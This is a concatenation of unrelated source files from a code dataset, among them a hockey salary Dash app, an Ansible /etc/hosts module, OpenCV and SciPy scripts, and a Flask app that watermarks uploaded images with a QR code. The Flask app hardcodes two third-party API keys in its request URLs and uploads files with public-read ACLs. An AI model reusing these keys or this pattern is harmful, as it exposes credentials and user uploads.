powerPlayTimeOnIcePerGame22_slider,\n powerPlayTimeOnIcePerGame22_input, assists22_slider, assists22_input):\n global first_pass, \\\n career_assists_slider_output, \\\n career_assists_input_output, \\\n career_points_slider_output, \\\n career_points_input_output, \\\n career_shots_slider_output, \\\n career_shots_input_output, \\\n career_timeOnIce_slider_output, \\\n career_timeOnIce_input_output, \\\n career_evenTimeOnIce_slider_output, \\\n career_evenTimeOnIce_input_output, \\\n career_powerPlayTimeOnIcePerGame_slider_output, \\\n career_powerPlayTimeOnIcePerGame_input_output, \\\n career_powerPlayTimeOnIce_slider_output, \\\n career_powerPlayTimeOnIce_input_output, \\\n career_powerPlayPoints_slider_output, \\\n career_powerPlayPoints_input_output, \\\n powerPlayTimeOnIcePerGame22_slider_output, \\\n powerPlayTimeOnIcePerGame22_input_output, \\\n assists22_slider_output, \\\n assists22_input_output\n\n if first_pass:\n first_pass = False\n career_assists_slider_output = career_assists_slider\n career_assists_input_output = career_assists_input\n career_points_slider_output = career_points_slider\n career_points_input_output = career_points_input\n career_shots_slider_output = career_shots_slider\n career_shots_input_output = career_shots_input\n career_timeOnIce_slider_output = career_timeOnIce_slider\n career_timeOnIce_input_output = career_timeOnIce_input\n career_evenTimeOnIce_slider_output = career_evenTimeOnIce_slider\n career_evenTimeOnIce_input_output = career_evenTimeOnIce_input\n career_powerPlayTimeOnIcePerGame_slider_output = career_powerPlayTimeOnIcePerGame_slider\n career_powerPlayTimeOnIcePerGame_input_output = career_powerPlayTimeOnIcePerGame_input\n career_powerPlayTimeOnIce_slider_output = career_powerPlayTimeOnIce_slider\n career_powerPlayTimeOnIce_input_output = career_powerPlayTimeOnIce_input\n career_powerPlayPoints_slider_output = career_powerPlayPoints_slider\n career_powerPlayPoints_input_output = career_powerPlayPoints_input\n powerPlayTimeOnIcePerGame22_slider_output = powerPlayTimeOnIcePerGame22_slider\n powerPlayTimeOnIcePerGame22_input_output = powerPlayTimeOnIcePerGame22_input\n assists22_slider_output = assists22_slider\n assists22_input_output = assists22_input\n\n career_assists_slider_output, career_assists_input_output = check_for_update(\n career_assists_slider, career_assists_input, career_assists_slider_output, career_assists_input_output)\n career_points_slider_output, career_points_input_output = check_for_update(\n career_points_slider, career_points_input, career_points_slider_output, career_points_input_output)\n career_shots_slider_output, career_shots_input_output = check_for_update(\n career_shots_slider, career_shots_input, career_shots_slider_output, career_shots_input_output)\n career_timeOnIce_slider_output, career_timeOnIce_input_output = check_for_update(\n career_timeOnIce_slider, career_timeOnIce_input, career_timeOnIce_slider_output, career_timeOnIce_input_output)\n career_evenTimeOnIce_slider_output, career_evenTimeOnIce_input_output = check_for_update(\n career_evenTimeOnIce_slider, career_evenTimeOnIce_input, career_evenTimeOnIce_slider_output,\n career_evenTimeOnIce_input_output)\n career_powerPlayTimeOnIcePerGame_slider_output, career_powerPlayTimeOnIcePerGame_input_output = check_for_update(\n career_powerPlayTimeOnIcePerGame_slider, career_powerPlayTimeOnIcePerGame_input,\n career_powerPlayTimeOnIcePerGame_slider_output, career_powerPlayTimeOnIcePerGame_input_output)\n career_powerPlayTimeOnIce_slider_output, career_powerPlayTimeOnIce_input_output = check_for_update(\n career_powerPlayTimeOnIce_slider, career_powerPlayTimeOnIce_input, career_powerPlayTimeOnIce_slider_output,\n career_powerPlayTimeOnIce_input_output)\n career_powerPlayPoints_slider_output, career_powerPlayPoints_input_output = check_for_update(\n career_powerPlayPoints_slider, career_powerPlayPoints_input, career_powerPlayPoints_slider_output,\n career_powerPlayPoints_input_output)\n powerPlayTimeOnIcePerGame22_slider_output, powerPlayTimeOnIcePerGame22_input_output = check_for_update(\n powerPlayTimeOnIcePerGame22_slider, powerPlayTimeOnIcePerGame22_input,\n powerPlayTimeOnIcePerGame22_slider_output, powerPlayTimeOnIcePerGame22_input_output)\n assists22_slider_output, assists22_input_output = check_for_update(\n assists22_slider, assists22_input, assists22_slider_output, assists22_input_output)\n\n data_map = {\n 'career_assists': career_assists_slider_output,\n 'career_points': career_points_slider_output,\n 'career_powerPlayTimeOnIcePerGame': career_powerPlayTimeOnIcePerGame_slider_output,\n 'career_shots': career_shots_slider_output,\n 'career_powerPlayTimeOnIce': career_powerPlayTimeOnIce_slider_output,\n 'career_powerPlayPoints': career_powerPlayPoints_slider_output,\n 'assists22': assists22_slider_output,\n 'career_timeOnIce': career_timeOnIce_slider_output,\n 'career_evenTimeOnIce': career_evenTimeOnIce_slider_output,\n 'powerPlayTimeOnIcePerGame22': powerPlayTimeOnIcePerGame22_slider_output\n }\n\n X = pd.DataFrame.from_dict(data_map, orient='index').T\n\n pred = clf.predict(X)\n pred = \"${:,.2f}\".format(round(pred[0]))\n\n basic_predicted_salary_output = pred\n\n return career_assists_slider_output, career_assists_input_output, career_points_slider_output, \\\n career_points_input_output, career_shots_slider_output, career_shots_input_output, \\\n career_timeOnIce_slider_output, career_timeOnIce_input_output, career_evenTimeOnIce_slider_output, \\\n career_evenTimeOnIce_input_output, career_powerPlayTimeOnIcePerGame_slider_output, \\\n career_powerPlayTimeOnIcePerGame_input_output, career_powerPlayTimeOnIce_slider_output, \\\n career_powerPlayTimeOnIce_input_output, career_powerPlayPoints_slider_output, \\\n career_powerPlayPoints_input_output, powerPlayTimeOnIcePerGame22_slider_output, \\\n powerPlayTimeOnIcePerGame22_input_output, assists22_slider_output, assists22_input_output, \\\n basic_predicted_salary_output\n","repo_name":"kyledufrane/NHL-Salary-Predictions","sub_path":"dash/pages/player_worth.py","file_name":"player_worth.py","file_ext":"py","file_size_in_byte":11224,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"31909531330","text":"from __future__ import absolute_import, division, print_function\n\n__metaclass__ = type\n\nANSIBLE_METADATA = {\n \"metadata_version\": \"1.1\",\n \"status\": [\"stableinterface\"],\n \"supported_by\": \"EDB\",\n}\n\nDOCUMENTATION = \"\"\"\n---\nmodule: hosts_lines\nshort_description: Ensure that the given entries exist in /etc/hosts\ndescription:\n - Takes a path and a list of lines and ensures that each entry exists in the\n file, removing any older entries for matching IP addresses or hostnames.\n Appends any lines that are not already in the file.\nversion_added: \"2.8\"\noptions:\n path:\n description:\n - The path to an existing file\n required: true\n lines:\n description:\n - An array of hosts entries that must exist in the file\n required: true\nauthor: \"Abhijit Menon-Sen \"\n\"\"\"\n\nEXAMPLES = \"\"\"\n- hosts_lines:\n path: /etc/hosts\n lines:\n - 127.0.0.1 localhost\n - 192.0.2.1 example.com\n\"\"\"\n\nimport traceback\nimport tempfile\nimport os\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils._text import to_bytes, to_native\n\n\ndef hosts_lines(module):\n m = {}\n\n path = module.params.get(\"path\")\n diff = {\n \"before\": \"\",\n \"after\": \"\",\n \"before_header\": \"%s (content)\" % path,\n \"after_header\": \"%s (content)\" % path,\n }\n\n # Given a list of lines that may include comments, blank lines (which don't\n # do anything useful), and valid hosts entries comprising an IP address and\n # one or more hostnames separated by spaces. We build up the sets of lines,\n # addresses, and hostnames that we need to check existing hosts entries to\n # see if they need to be replaced.\n\n lines = set()\n to_replace = set()\n\n for l in module.params.get(\"lines\"):\n lines.add(l)\n\n if not l.lstrip().startswith(\"#\"):\n words = l.split()\n for n in words:\n to_replace.add(n)\n\n before_lines = []\n after_lines = []\n changes = []\n\n try:\n b_path = to_bytes(path, errors=\"surrogate_or_strict\")\n with open(b_path, \"r\") as f:\n before_lines = f.readlines()\n\n for line in before_lines:\n l = line.rstrip(\"\\r\\n\")\n\n # If a line we want is already there, we copy it to the output and\n # remove it from the list of lines to append. If the line contains\n # an address or name that overlaps with an entry we are adding, we\n # skip it. Otherwise we copy it over unmodified.\n\n if l in lines:\n lines.remove(l)\n\n elif not l.lstrip().startswith(\"#\"):\n words = l.split()\n if set(words) & to_replace:\n changes.append(\"skip\")\n continue\n\n after_lines.append(line)\n\n if lines:\n changes.append(\"append\")\n for l in lines:\n after_lines.append(l + \"\\n\")\n\n # If we didn't need to skip any existing lines, we can just append the\n # new lines to /etc/hosts. Otherwise we must replace the file, which we\n # prefer to do by writing to a temporary file and using atomic_move; but\n # that doesn't work on Docker containers, so we must overwrite in-place.\n\n if changes and not module.check_mode:\n contents = to_bytes(\"\".join(after_lines))\n\n if \"skip\" in changes and module.params[\"platform\"] == \"docker\":\n m[\"operation\"] = \"overwrite\"\n with open(b_path, \"wb\") as f:\n f.write(contents)\n\n elif \"skip\" in changes:\n m[\"operation\"] = \"replace\"\n tmpfd, tmpfile = tempfile.mkstemp()\n with os.fdopen(tmpfd, \"wb\") as f:\n f.write(contents)\n module.atomic_move(\n tmpfile,\n to_native(b_path),\n unsafe_writes=module.params[\"unsafe_writes\"],\n )\n\n else:\n m[\"operation\"] = \"append\"\n contents = to_bytes(\"\".join(map(lambda l: l + \"\\n\", lines)))\n with open(b_path, \"ab\") as f:\n f.write(contents)\n except Exception as e:\n module.fail_json(msg=str(e), exception=traceback.format_exc())\n\n diff[\"before\"] = \"\".join(before_lines)\n diff[\"after\"] = \"\".join(after_lines)\n m[\"diff\"] = [diff, []]\n m[\"changed\"] = bool(changes)\n\n return m\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n path=dict(type=\"path\", required=True),\n lines=dict(type=\"list\", required=True),\n unsafe_writes=dict(type=\"bool\"),\n platform=dict(type=\"str\"),\n ),\n supports_check_mode=True,\n )\n\n module.exit_json(**hosts_lines(module))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"EnterpriseDB/tpa","sub_path":"library/hosts_lines.py","file_name":"hosts_lines.py","file_ext":"py","file_size_in_byte":4843,"program_lang":"python","lang":"en","doc_type":"code","stars":50,"dataset":"github-code","pt":"37"} +{"seq_id":"35808751047","text":"'''\nPrint the smallest positive number that is evenly divisible by all of the numbers from 1 to 20\n'''\n\ndef is_divisible(num: int):\n for x in range(20):\n if num % (x + 1) is not 0:\n return False\n return True\n\n\ndef until_divisible():\n total = 20\n while not is_divisible(total):\n total += 20\n return total\n\n\nprint(until_divisible())\n\n","repo_name":"Jcvita/projecteulermultilingual","sub_path":"python/005smallestmultiple.py","file_name":"005smallestmultiple.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14090285538","text":"contm = contf = contmaior = r = 0\r\nwhile True:\r\n r = \" \"\r\n sexo = \" \"\r\n while sexo not in \"MF\":\r\n sexo = str(input(\"Insira o sexo da pessoa: [M/F]\")).upper().split()[0]\r\n idade = int(input(\"Insira a idade da pessoa: \"))\r\n if sexo == \"M\":\r\n contm += 1\r\n if sexo == \"F\" and idade < 20:\r\n contf += 1\r\n if idade > 18:\r\n contmaior += 1\r\n while r not in \"SN\":\r\n r = str(input(\"Você deseja continuar? [S/N] \")).upper().strip()[0]\r\n if r == \"N\":\r\n break\r\nprint(f\"a) O total de pessoas maiores de idade é de {contmaior}\")\r\nprint(f\"b) O número de homens cadastrados foi de {contm}\")\r\nprint(f\"c) O número de mulheres menores de 20 anos foi de {contf}\")\r\n","repo_name":"LucasAlmeidaBerta/Desafios-de-Python","sub_path":"Desafio 69.py","file_name":"Desafio 69.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74376504108","text":"#!/usr/bin/python3\n\nimport cv2\nimport numpy as np\n\n\ndog = cv2.imread(\"dog.jpg\")\ncat = cv2.imread(\"cat.jpg\")\n\n\n# print shapes of both pictures\n\nprint(dog.shape)\nprint(cat.shape)\n\ncv2.imshow(\"dog_image\",dog)\ncv2.imshow(\"cat_image\",cat)\n\n#after tracing both pics lets takeout the nose of dog and fix it on equal sized nose of cat\n\n#taking about 20*20 of both pics (dog has nose somewhere around 131*138)\ndog_nose = dog[121:141,128:148]\n\n#pic of dog's nose\n#cv2.imshow(\"dog_nose\",dog_nose)\n\n#takeout equal piece of 20*20 cat's nose so that the cat nose can be replaced by dogs and dogs by nose of cat\ncat_nose = cat[131:151,88:108]\n\n#pic of cat's nose\ncv2.imshow(\"cat_nose\",cat_nose)\n\n\n#adding nose of dog on cat (iamge of dogs nose overwritten on nose of cat) \nnose_add = cv2.addWeighted(cat_nose,.01,dog_nose,1,1)\n#dog_nose.copyTo(cat_nose)\n\n\n# trying to add portions passing values of dog_nose to cat_nose\ncat_nose = dog_nose\n\n# by now the actual cat_nose is replaced by that of dog's_nose\n\n# to see if the values of dog's_nose passed to cat's_nose or not\nif cat_nose.all == dog_nose.all:\n\timage = cv2.add(cat_nose,cat_nose)\n\tcv2.imwrite(\"new_cat.jpeg\",image)\n\tprint(\"matched\")\n\n\n\n# ie match whereever the color is reddish do black over there using numpy integrated with cv2\n#cat[np.where((cat == [255,255,255]).all(axis = 2))] = [0,0,0]\n\n#changing the color wherever cat is white do it black over there and save as output.png\ncat[np.where(cv2.inRange(cat,(100,100,100),(230,230,230)))] = [0,0,0]\ncv2.imwrite('output.png', cat)\n\n#cv2.imshow(\"new_cat_nose\",cat_nose)\ncv2.imshow(\"new_cat\",cat)\n\n\ncv2.waitKey(0)\ncv2.destroyAllWindows() \n","repo_name":"Bhavya-Agrawal/Computer_vision_projects","sub_path":"image_overlapping.py","file_name":"image_overlapping.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42787100624","text":"import numpy as np\nfrom gurobipy import *\nimport multiprocessing\n\nfrom multiprocessing import Pool\nfrom multiprocessing import set_start_method\nfrom multiprocessing.managers import BaseManager\n\ndef create_model(i):\n mp = Model(\"item_{}\".format(i))\n x1 = mp.addVar(lb=0)\n x2 = mp.addVar(lb=0)\n mp.addConstr(x1 + 2 * x2 <= i, name=\"constr_1\")\n mp.addConstr(2 * x1 + x2 <= i, name=\"constr_2\")\n mp.setObjective(x1 + x2, sense=GRB.MAXIMIZE)\n mp.update()\n return mp\n\ndef solve_model(i):\n # mp = Model(\"item_{}\".format(i))\n # x1 = mp.addVar(lb=0)\n # x2 = mp.addVar(lb=0)\n # mp.addConstr(x1 + 2 * x2 <= i, name=\"constr_1\")\n # mp.addConstr(2 * x1 + x2 <= i, name=\"constr_2\")\n # mp.setObjective(x1 + x2, sense=GRB.MAXIMIZE)\n # mp.update()\n # mp.optimize()\n global model_list\n mp = model_list[i]\n mp.optimize()\n\n return mp.objVal\n\n# test the multiprocessing idea\nif __name__ == '__main__':\n global model_list\n set_start_method(\"fork\")\n model_list = []\n for i in range(3):\n mp = create_model(i + 1)\n model_list.append(mp)\n\n with Pool(3) as p:\n model_results = p.map(solve_model, [0, 1, 2])\n\n print(model_results)","repo_name":"haoxiangyang89/prod_distributed","sub_path":"src/multiprocess_test.py","file_name":"multiprocess_test.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"722220245","text":"from __future__ import absolute_import\n\nimport re\nimport ctypes\nimport logging\nfrom math import sqrt\n\nfrom .ndarray import NDArray\nfrom .base import NDArrayHandle, py_str\nfrom . import ndarray\n\n\nclass Monitor(object):\n \"\"\"Monitor outputs, weights, and gradients for debugging.\n\n Parameters\n ----------\n interval : int\n Number of batches between printing.\n stat_func : function\n A function that computes statistics of tensors.\n Takes an `NDArray` and returns an `NDArray`. Defaults to mean\n absolute value |x|/size(x).\n pattern : str\n A regular expression specifying which tensors to monitor.\n Only tensors with names that match `name_pattern` will be included.\n For example, '.*weight|.*output' will print all weights and outputs and\n '.*backward.*' will print all gradients.\n \"\"\"\n def __init__(self, interval, stat_func=None, pattern='.*', sort=False):\n if stat_func is None:\n def asum_stat(x):\n \"\"\"returns |x|/size(x), async execution.\"\"\"\n return ndarray.norm(x)/sqrt(x.size)\n stat_func = asum_stat\n self.stat_func = stat_func\n self.interval = interval\n self.activated = False\n self.queue = []\n self.step = 0\n self.exes = []\n self.re_prog = re.compile(pattern)\n self.sort = sort\n def stat_helper(name, array):\n \"\"\"wrapper for executor callback\"\"\"\n array = ctypes.cast(array, NDArrayHandle)\n array = NDArray(array, writable=False)\n if not self.activated or not self.re_prog.match(py_str(name)):\n return\n self.queue.append((self.step, py_str(name), self.stat_func(array)))\n self.stat_helper = stat_helper\n\n def install(self, exe):\n \"\"\"install callback to executor.\n Supports installing to multiple exes.\n\n Parameters\n ----------\n exe : mx.executor.Executor\n The Executor (returned by symbol.bind) to install to.\n \"\"\"\n exe.set_monitor_callback(self.stat_helper)\n self.exes.append(exe)\n\n def tic(self):\n \"\"\"Start collecting stats for current batch.\n Call before calling forward.\"\"\"\n if self.step % self.interval == 0:\n for exe in self.exes:\n for array in exe.arg_arrays:\n array.wait_to_read()\n for array in exe.aux_arrays:\n array.wait_to_read()\n self.queue = []\n self.activated = True\n self.step += 1\n\n\n def toc(self):\n \"\"\"End collecting for current batch and return results.\n Call after computation of current batch.\n\n Returns\n -------\n res : list of \"\"\"\n if not self.activated:\n return []\n for exe in self.exes:\n for array in exe.arg_arrays:\n array.wait_to_read()\n for array in exe.aux_arrays:\n array.wait_to_read()\n for exe in self.exes:\n for name, array in zip(exe._symbol.list_arguments(), exe.arg_arrays):\n if self.re_prog.match(name):\n self.queue.append((self.step, name, self.stat_func(array)))\n for name, array in zip(exe._symbol.list_auxiliary_states(), exe.aux_arrays):\n if self.re_prog.match(name):\n self.queue.append((self.step, name, self.stat_func(array)))\n self.activated = False\n res = []\n if self.sort:\n self.queue.sort(key=lambda x: x[1])\n for n, k, v_list in self.queue:\n if isinstance(v_list, NDArray):\n v_list = [v_list]\n assert isinstance(v_list, list)\n s = ''\n for v in v_list:\n assert isinstance(v, NDArray)\n if v.shape == (1,):\n s += str(v.asscalar()) + '\\t'\n else:\n s += str(v.asnumpy()) + '\\t'\n res.append((n, k, s))\n self.queue = []\n return res\n\n def toc_print(self):\n \"\"\"End collecting and print results.\"\"\"\n res = self.toc()\n for n, k, v in res:\n logging.info('Batch: {:7d} {:30s} {:s}'.format(n, k, v))\n","repo_name":"hpi-xnor/BMXNet","sub_path":"python/mxnet/monitor.py","file_name":"monitor.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","stars":347,"dataset":"github-code","pt":"37"} +{"seq_id":"5695850017","text":"from collections import deque\nimport datetime\nfrom msa.core.event_handler import EventHandler\nfrom msa.core import get_supervisor\nfrom msa.builtins.signals import events\n\n\nclass StartupEventTrigger(EventHandler):\n \"\"\"\n Fires off a startup event and then exits\n \"\"\"\n\n def __init__(self, loop, event_bus, logger, config=None):\n super().__init__(loop, event_bus, logger, config)\n\n async def init(self):\n # trigger startup hook later\n self.loop.call_later(1, self.trigger_event)\n\n def trigger_event(self):\n new_event = events.StartupEvent()\n new_event.init(\n {\"timestamp\": datetime.datetime.now().strftime(\"%Y-%m-%d, %H:%M:%S:%f\")}\n )\n get_supervisor().fire_event(new_event)\n\n\nclass NetworkPropagateEventHandler(EventHandler):\n def __init__(self, loop, event_bus, logger, config=None):\n super().__init__(loop, event_bus, logger, config)\n\n event_bus.subscribe(\".*\", self.handle)\n\n self.buffered_events = deque(maxlen=10)\n\n async def handle(self, event):\n\n if isinstance(event, events.RequestDisburseEventsToNetworkEvent):\n self.handle_disburse_request()\n return\n\n if not event._network_propagate:\n return\n\n self.buffered_events.append(event)\n\n def handle_disburse_request(self):\n new_event = events.DisburseEventsToNetworkEvent().init(\n {\"events\": [event.get_metadata() for event in self.buffered_events]}\n )\n self.buffered_events.clear()\n get_supervisor().fire_event(new_event)\n","repo_name":"MichaelGrabinski/moe-serifu-agent","sub_path":"python/msa/builtins/signals/handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"26428021648","text":"from sympy import symbols, diag\nfrom simbolics import simpLong, outputExprLong\n\nfrom fkcm.fk1cmS import fk1cmS\nfrom fkcm.fk2cmS import fk2cmS\nfrom fkcm.fk3cmS import fk3cmS\nfrom fkcm.fk4cmS import fk4cmS\nfrom fkcm.fk5cmS import fk5cmS\nfrom fkcm.fk6cmS import fk6cmS\nfrom fkcm.fk7cmS import fk7cmS\n\nfrom Jcm.J1cmS import J1cmS\nfrom Jcm.J2cmS import J2cmS\nfrom Jcm.J3cmS import J3cmS\nfrom Jcm.J4cmS import J4cmS\nfrom Jcm.J5cmS import J5cmS\nfrom Jcm.J6cmS import J6cmS\nfrom Jcm.J7cmS import J7cmS\n\ntt0, tt1, tt2, tt3, tt4, tt5, tt6, tt7 = symbols(\"tt0 tt1 tt2 tt3 tt4 tt5 tt6 tt7\")\n\ndef split(J):\n return J[:3, :], J[:3, :]\n\nJ1cm = J1cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nJ2cm = J2cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nJ3cm = J3cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nJ4cm = J4cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nJ5cm = J5cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nJ6cm = J6cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nJ7cm = J7cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\n\n(J1cmv, J1cmw), (J2cmv, J2cmw), (J3cmv, J3cmw), (J4cmv, J4cmw), (J5cmv, J5cmw), (J6cmv, J6cmw), (J7cmv, J7cmw) = split(J1cm), split(J2cm), split(J3cm), split(J4cm), split(J5cm), split(J6cm), split(J7cm)\n\nfk1cm = fk1cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nfk2cm = fk2cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nfk3cm = fk3cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nfk4cm = fk4cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nfk5cm = fk5cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nfk6cm = fk6cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\nfk7cm = fk7cmS(tt1, tt2, tt3, tt4, tt5, tt6, tt7)\n\nR1cm = fk1cm[:3,:3]\nR2cm = fk2cm[:3,:3]\nR3cm = fk3cm[:3,:3]\nR4cm = fk4cm[:3,:3]\nR5cm = fk5cm[:3,:3]\nR6cm = fk6cm[:3,:3]\nR7cm = fk7cm[:3,:3]\n\nI1cm = diag(0.033, 0.0333, 0.0123)\nI2cm = diag(0.0305, 0.0304, 0.011)\nI3cm = diag(0.025, 0.0238, 0.0076)\nI4cm = diag(0.017, 0.0164, 0.006)\nI5cm = diag(0.01, 0.0087, 0.00449)\nI6cm = diag(0.0049, 0.0047, 0.0036)\nI7cm = diag(0.001, 0.001, 0.001)\n\ndef simpMul(core_expr, le, re):\n expr = core_expr\n\n for i in range(len(le)):\n print(\"left wing\")\n print(\"member\", i)\n expr = le[len(le)-1 - i] * expr\n expr = simpLong(expr)\n\n for i in range(len(re)):\n print(\"right wing\")\n print(\"member\", i)\n expr = expr * re[i] \n expr = simpLong(expr)\n \n return expr\n\nfor Jcmw, Rcm, expr_name in zip([J1cmw, J2cmw, J3cmw, J4cmw, J5cmw, J6cmw, J7cmw], [R1cm, R2cm, R3cm, R4cm, R5cm, R6cm, R7cm], [\"M2\"+str(i+1) for i in range(7)]):\n print(\"simplify\", expr_name)\n fk = simpMul(I1cm, [Jcmw.transpose(), Rcm], [Rcm.transpose(), Jcmw ])\n outputExprLong(expr_name, fk)\n\n\n","repo_name":"gintautas12358/LBR_kinematics","sub_path":"forwardDynamicsMparts2.py","file_name":"forwardDynamicsMparts2.py","file_ext":"py","file_size_in_byte":2581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1898177959","text":"import numpy as np\n\ndef make_train_mat(mininew, AS, D, SL):\n # D = D / 2 # Uncomment this line if D needs to be halved as in the MATLAB script\n miniTr = np.zeros((D, SL))\n noiseTr = np.zeros((D, SL))\n\n for n in range(D):\n tmp = np.random.randint(0, len(AS) - SL)\n miniTr[n, :] = AS[tmp:tmp + SL] + (mininew[n, :]) * 10\n\n for n in range(D):\n tmp2 = np.random.randint(0, len(AS) - SL)\n noiseTr[n, :] = AS[tmp2:tmp2 + SL]\n\n # Concatenate mini and noise sweeps into the training matrix\n mnTr = np.concatenate((miniTr, noiseTr), axis=0)\n\n # Target matrix\n\n mnTa = np.concatenate((np.ones((D,1), dtype=int), np.zeros((D,1), dtype=int)), axis = 0)\n mnTa = np.ravel(mnTa)\n\n return mnTr, mnTa\n\n","repo_name":"mrreganwang/Mini_Scripts","sub_path":"python/helper_functions/MakeTrainMat.py","file_name":"MakeTrainMat.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41670373870","text":"\"\"\"2次元データの補間\"\"\"\n\nimport numpy as np\nfrom scipy.interpolate import interpn\n\ndef f(x, y):\n return 2 * x**3 + 3 * y**2\n\n## 元グリッド座標\nx = np.linspace(1, 4, 6)\ny = np.linspace(4, 7, 6)\n#print(type(x),len(x))\n\n## 2次元データ\ndata = f(*np.meshgrid(x, y, indexing='ij', sparse=True))\n\n## 補間先のグリッド座標\nx2 = np.linspace(2, 3, 3)\ny2 = np.linspace(5, 6, 3)\nxy2 = np.array(np.meshgrid(x2,y2)).transpose((1,2,0))\n\nresult = interpn([x,y], data, xy2 )\n\nfor j in range(3):\n for i in range(3):\n print(result[i,j],f(x2[i],y2[j]))\n","repo_name":"mokkei1978/mytool","sub_path":"python/scipy/interp2d.py","file_name":"interp2d.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33661792106","text":"import glob\nimport os\nfrom io import BytesIO\n\nimport boto3\nimport requests\nfrom PIL import Image\nfrom flask import Flask, render_template, request, flash\nfrom requests.api import get\nfrom werkzeug.utils import secure_filename\n\napp = Flask(__name__)\n\nROOT_DIR = os.path.dirname(os.path.abspath(__file__))\nUPLOAD_DIR = os.path.join(ROOT_DIR, \"static\")\napp.config['UPLOAD_FOLDER'] = UPLOAD_DIR\n\n# create 'static' folder if not exists\nif not os.path.exists(UPLOAD_DIR):\n os.mkdir(UPLOAD_DIR)\n\n# configure boto3 client\ns3_client = boto3.client('s3')\n\n\n# utility functions\ndef get_s3_url(bucket_name, filename):\n return f\"https://{bucket_name}.s3.amazonaws.com/{filename}\"\n\n\ndef request_and_save(url, filename):\n req = requests.get(url)\n\n im = Image.open(BytesIO(req.content))\n path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n im.save(path, \"PNG\")\n\n return path\n\n# app endpoints\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n\n filename = None\n if request.method == 'POST':\n f = request.files['file']\n filename = secure_filename(f.filename)\n f.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n\n return render_template('upload.html', filename=filename)\n\n\n@app.route('/watermark', methods=['POST'])\ndef apply_watermark():\n bucket_name = \"cgcscaleup3\" # INSERT YOUR BUCKET NAME\n\n filename = request.form['filename']\n path = os.path.join(app.config['UPLOAD_FOLDER'], filename)\n r1 = s3_client.upload_file(path, bucket_name, filename, ExtraArgs={'ACL': 'public-read'})\n\n #bucket_url = 'https://cgcscaleup3.s3.us-east-2.amazonaws.com/' + filename\n\n image_url = get_s3_url(bucket_name=bucket_name, filename=filename)\n\n # api key P23OWF071I39S6QUR2EL9MDT74B165JX48CKYZ8N0A5VHG\n # GENERATE REQUEST FOR QRACKAJACK\n qr_req_url = f'https://qrackajack.expeditedaddons.com/?api_key=P23OWF071I39S6QUR2EL9MDT74B165JX48CKYZ8N0A5VHG&content={image_url}'\n\n qr_name = f\"qr_{filename}\"\n qr_path = request_and_save(qr_req_url, qr_name)\n\n r2 = s3_client.upload_file(qr_path, bucket_name, qr_name, ExtraArgs={'ACL': 'public-read'})\n\n qr_url = get_s3_url(bucket_name, qr_name)\n\n\n # GENERATE REQUEST FOR WATERMARKER\n # warermarker api key \"5VYN48U9MFBOIR96Q1J40PWTHD23A5XG13C87Z2KES0L67\"\n watermark_req_url = f\"https://watermarker.expeditedaddons.com?api_key=5VYN48U9MFBOIR96Q1J40PWTHD23A5XG13C87Z2KES0L67&image_url={image_url}&watermark_url={qr_url}&opacity=50&position=center&width=100&height=100\"\n\n watermark_name = f\"watermark_{filename}\"\n request_and_save(watermark_req_url, watermark_name)\n\n print(\"watermark done\")\n\n # clean bucket\n s3_client.delete_object(Bucket=bucket_name, Key=qr_name)\n\n return render_template(\"upload.html\", filename=watermark_name)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"lilf4p/cgc-scaleup3","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10290092858","text":"from . import util, spotify, youtube\nimport youtube_dl\nimport os\nimport sys\nimport requests\nimport argparse\nimport logging\n\nlog = logging.getLogger('spytube')\nlogging.basicConfig(level=50)\t\t# CRITICAL 50, ERROR 40, WARNING 30, INFO 20, DEBUG 10, NOTSET 0\n\ntry:\n\tfrom mutagen.mp3 import MP3\n\tfrom mutagen.id3 import ID3, APIC, TIT2, TIT3, TPE1, TPE2, TALB, TPOS, TRCK, COMM\nexcept ImportError:\n log.critical(\"unable to import mutagen. install it to add id3 tags\") \n\nVERSION = \"0.1.5\"\nINVALID_CHARS = '<>:\"/\\|?*'\n\n\nclass 